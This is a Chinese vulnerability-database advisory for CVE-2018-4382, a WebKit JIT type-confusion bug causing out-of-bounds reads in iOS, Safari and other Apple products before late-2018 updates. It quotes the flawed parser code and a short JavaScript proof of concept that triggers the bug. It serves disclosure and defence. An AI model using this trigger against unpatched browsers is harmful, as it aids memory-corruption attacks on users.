多款Apple产品WebKit 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1377150 漏洞类型 缓冲区错误
发布时间 2018-12-03 更新时间 2019-04-10
CVE编号 CVE-2018-4382 CNNVD-ID CNNVD-201810-1489
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2018120015
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201810-1489
|漏洞详情
Apple Safari等都是美国苹果(Apple)公司的产品。Apple Safari是一款Web浏览器,是Mac OS X和iOS操作系统附带的默认浏览器。Apple iOS是一套为移动设备所开发的操作系统。Apple tvOS是一套智能电视操作系统。WebKit是其中的一个Web浏览器引擎组件。 多款Apple产品中的WebKit组件存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。以下产品及版本受到影响:iOS 12.1之前版本,tvOS 12.1之前版本,watchOS 5.1之前版本,Safari 12.0.1之前版本,iTunes 12.9.1之前版本,基于Windows平台的iCloud 7.8之前版本。
|漏洞EXP
WebKit: JIT: Type confusion bugs in ByteCodeParser::handleIntrinsicCall 

CVE-2018-4382


    case ArrayPushIntrinsic: {
        ...

        if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
            return false;

        ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
        
        ...
    }

This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.

Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.

PoC:
Array.prototype.__defineGetter__('a', Array.prototype.push);

function opt() {
    let arr = new Array(1, 2, 3, 4);
    arr['a' + ''];
}

for (let i = 0; i < 1000; i++) {
    opt();
}

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

|参考资料

来源:securitytracker.com

链接:https://securitytracker.com/id/1042003